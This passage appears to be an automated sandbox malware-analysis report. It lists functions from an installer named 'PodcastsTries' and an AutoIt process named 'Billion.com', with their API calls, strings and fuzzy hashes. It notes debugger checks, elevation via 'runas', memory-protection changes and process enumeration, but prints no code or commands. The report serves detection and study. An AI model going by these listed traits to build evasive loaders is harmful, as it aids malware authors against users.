Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: Billion.comPID: 1396, Parent PID: 4236COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	58

Executed Functions

Function 00135FC8 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00135FF7

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

GetCurrentProcess.KERNEL32(?,001CDC2C,00000000,?,?), ref: 00136123
IsWow64Process.KERNEL32(00000000,?,?), ref: 0013612A
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00136155
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00136167
GetNativeSystemInfo.KERNEL32(?,?,?), ref: 00136175
FreeLibrary.KERNEL32(00000000,?,?), ref: 0013617C
GetSystemInfo.KERNEL32(?,?,?), ref: 001361A1

Strings

kernel32.dll, xrefs: 00136150
GetNativeSystemInfo, xrefs: 00136161
|O, xrefs: 001750F7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: f3b342313a9d7fe41d542e2d6a4aaf8cd4169691a7dbc21d1b043f2728df9cbf
Instruction ID: 35a37eadcd53acc7a4f7d40540876aa844ecd9c76dd1ef26e0b507b03133a6b9
Opcode Fuzzy Hash: f3b342313a9d7fe41d542e2d6a4aaf8cd4169691a7dbc21d1b043f2728df9cbf
Instruction Fuzzy Hash: A0A1A02280A3C4DFC716CB687C4E5A57FA5AB66300F28A8DBE48497223D37D458CCB35

Function 0013338B Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00133368,?), ref: 001333BB
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00133368,?), ref: 001333CE
GetFullPathNameW.KERNEL32(00007FFF,?,?,00202418,00202400,?,?,?,?,?,?,00133368,?), ref: 0013343A

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

Part of subcall function 0013425F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00133462,00202418,?,?,?,?,?,?,?,00133368,?), ref: 001342A0

SetCurrentDirectoryW.KERNEL32(?,00000001,00202418,?,?,?,?,?,?,?,00133368,?), ref: 001334BB
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse user this program.,AutoIt,00000010), ref: 00173CB0
SetCurrentDirectoryW.KERNEL32(?,00202418,?,?,?,?,?,?,?,00133368,?), ref: 00173CF1
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,001F31F4,00202418,?,?,?,?,?,?,?,00133368), ref: 00173D7A
ShellExecuteW.SHELL32(00000000,?,?), ref: 00173D81

Part of subcall function 001334D3: GetSysColorBrush.USER32(0000000F), ref: 001334DE
Part of subcall function 001334D3: LoadCursorW.USER32(00000000,00007F00), ref: 001334ED
Part of subcall function 001334D3: LoadIconW.USER32(00000063), ref: 00133503
Part of subcall function 001334D3: LoadIconW.USER32(000000A4), ref: 00133515
Part of subcall function 001334D3: LoadIconW.USER32(000000A2), ref: 00133527
Part of subcall function 001334D3: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 0013353F
Part of subcall function 001334D3: RegisterClassExW.USER32(?), ref: 00133590

Part of subcall function 001335B3: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 001335E1
Part of subcall function 001335B3: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00133602
Part of subcall function 001335B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00133368,?), ref: 00133616
Part of subcall function 001335B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00133368,?), ref: 0013361F

Part of subcall function 0013396B: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00133A3C

Strings

It is a violation of the AutoIt EULA to attempt to reverse user this program., xrefs: 00173CAA
0$ , xrefs: 00133495
runas, xrefs: 00173D75
AutoIt, xrefs: 00173CA5

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
String ID: 0$ $AutoIt$It is a violation of the AutoIt EULA to attempt to reverse user this program.$runas
API String ID: 683915450-554883960
Opcode ID: e58ee321864f607f732a4e605951cc3434fab87552a190efd950db894bd83478
Instruction ID: 361744cd5db1797a187fff961a1a34b21da7e9073b633efae8fb3eaf823f3a69
Opcode Fuzzy Hash: e58ee321864f607f732a4e605951cc3434fab87552a190efd950db894bd83478
Instruction Fuzzy Hash: A3511770208344EEC715EF60EC49D6EBFB8AFA5744F04042EF5A1521A3DB348A8DD762

Function 0019DC54 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00135851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001355D1,?,?,00174B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00135871

Part of subcall function 0019EAB0: GetFileAttributesW.KERNEL32(?,0019D840), ref: 0019EAB1

FindFirstFileW.KERNEL32(?,?), ref: 0019DCCB
DeleteFileW.KERNEL32(?,?,?,?), ref: 0019DD1B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 0019DD2C
FindClose.KERNEL32(00000000), ref: 0019DD43
FindClose.KERNEL32(00000000), ref: 0019DD4C

Strings

\*.*, xrefs: 0019DC9D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 469d91d73fa0f2a3473482b4a6ea6b1ea5572058a9dc5aa417a1bc375e4064a9
Instruction ID: 7a8a234eecb6a260b877a6deacd6201a8b1594f0f18149bf1a87a38a5dddad5c
Opcode Fuzzy Hash: 469d91d73fa0f2a3473482b4a6ea6b1ea5572058a9dc5aa417a1bc375e4064a9
Instruction Fuzzy Hash: 77316E31008385AFC700EB64D8818EFBBE9BEA6704F444D6DF5D5821D1EB21DA09CB63

Function 0019DD87 Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0019DDAC
Process32FirstW.KERNEL32(00000000,?), ref: 0019DDBA
Process32NextW.KERNEL32(00000000,?), ref: 0019DDDA
CloseHandle.KERNEL32(00000000), ref: 0019DE87

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 16937c055135629a01c71b3bdb847593b885c911e07eea3b78ea2f3559693d07
Instruction ID: 1ecd1dc4e57e51460b7ab3c233a5b80dd0d0507ec425158c7c44baff31cb1516
Opcode Fuzzy Hash: 16937c055135629a01c71b3bdb847593b885c911e07eea3b78ea2f3559693d07
Instruction Fuzzy Hash: E231AE71008300AFD710EF60D885AAFBBE8BFA9344F44092DF581871A1EB71DA49CB92

Function 0014FFE0 Relevance: 3.1, APIs: 2, Instructions: 94nativeCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 0015007D
NtProtectVirtualMemory.NTDLL ref: 0015008F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseHandleMemoryProtectVirtual
String ID:
API String ID: 2407445808-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: cedb68390ae074fda517455eb3e3b61494e0918e408b158aaa5f24b111795794
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 1231D770A00106DFCB1ACF98D590A69F7A5FF49381B6586A5E819CF292D732EDC5CBC0

Function 0013EE30 Relevance: 26.9, APIs: 14, Strings: 1, Instructions: 630windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 0013EF07
timeGetTime.WINMM ref: 0013F107
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0013F228
TranslateMessage.USER32(?), ref: 0013F27B
DispatchMessageW.USER32(?), ref: 0013F289
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0013F29F
Sleep.KERNEL32(0000000A), ref: 0013F2B1

Strings

( , xrefs: 0013F264

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID: (
API String ID: 2189390790-2181176062
Opcode ID: 7cbf361b6e8590a434c23ca3ecd5271e3e9fd39a3008482019cef4b8b982b90c
Instruction ID: 109672e46de8cf07a33c585a96a539cf6d4a4f86646c1e953c9313a88a789cb3
Opcode Fuzzy Hash: 7cbf361b6e8590a434c23ca3ecd5271e3e9fd39a3008482019cef4b8b982b90c
Instruction Fuzzy Hash: 84421630A04742DFD728DF24D888BAABBE5BF55304F14452DF5658B2A1D770E989CF82

Function 0014AC3E Relevance: 23.4, APIs: 1, Strings: 12, Instructions: 671
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d1b, xrefs: 0014AD55, 0014AE8E
`* , xrefs: 0014AFF9
d10m0, xrefs: 0014ACF0
d5m0, xrefs: 0014AE75
i, xrefs: 0014B0A3
( , xrefs: 0014ADD7
d0b, xrefs: 0014AC96, 0014AD10, 0014AEA7
( , xrefs: 0014AD4D
( , xrefs: 0014AD65
e# , xrefs: 0014AFA9
d1r0,2, xrefs: 0014ACA9
( , xrefs: 0014ADC1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID: `* $d0b$d10m0$d1b$d1r0,2$d5m0$e# $i$( $( $( $(
API String ID: 0-774687368
Opcode ID: 67b19a5c49f2436713bfc7386d052560386f3f16ccbf504aac867d7491cb95f5
Instruction ID: 39f1a729e6135898b186ae748c906d74a79247754ef282392c8d0c9cd3cbab6c
Opcode Fuzzy Hash: 67b19a5c49f2436713bfc7386d052560386f3f16ccbf504aac867d7491cb95f5
Instruction Fuzzy Hash: 16624A70508341CFC728DF24D195AAABBE1FF98304F50896EE4999B361DB71DA49CF82

Function 0013370F Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00133709,?,?), ref: 00133777
KillTimer.USER32(?,00000001,?,?,?,?,?,00133709,?,?), ref: 001337A3
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 001337C6
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00133709,?,?), ref: 001337D1
CreatePopupMenu.USER32 ref: 001337E5
PostQuitMessage.USER32(00000000), ref: 00133806

Strings

0$ , xrefs: 00173DA9
TaskbarCreated, xrefs: 001337CC
0$ , xrefs: 00173DF7

Memory Dump Source

